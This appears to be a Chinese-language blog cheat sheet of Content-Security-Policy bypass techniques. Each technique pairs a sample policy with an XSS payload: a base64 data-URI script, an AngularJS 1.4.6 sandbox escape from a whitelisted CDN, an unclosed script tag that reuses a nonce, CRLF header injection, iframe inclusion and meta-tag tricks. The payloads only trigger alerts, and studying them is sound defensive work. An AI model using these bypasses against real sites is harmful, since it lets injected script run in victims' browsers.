部分csp绕过方法
unsafe-eval ?
csp策略1
Content-Security-Policy: script-src 'unsafe-eval' data:
绕过代码1
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
CDN加载旧版js
csp策略1
Content-Security-Policy: script-src: https://cdnjs.cloudflare.com ;
exp1
2<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
CRLF绕过
将csp策略挤到返回包的body中,记得注意content-length
不完整script标签绕过
当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性
csp1
2
3
4
5header("X-XSS-Protection:0");
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
echo $_GET['xss']
<script nonce='xxxxx'>//do some thing
</script>
exp1
<script src=data:text/plain,alert(1)
iframe禁止js
- iframe标签可以设置csp,可以禁止掉某些前端过滤的js
- 如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP
meta
meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。1
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用。1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
还有更多可以参考下面的链接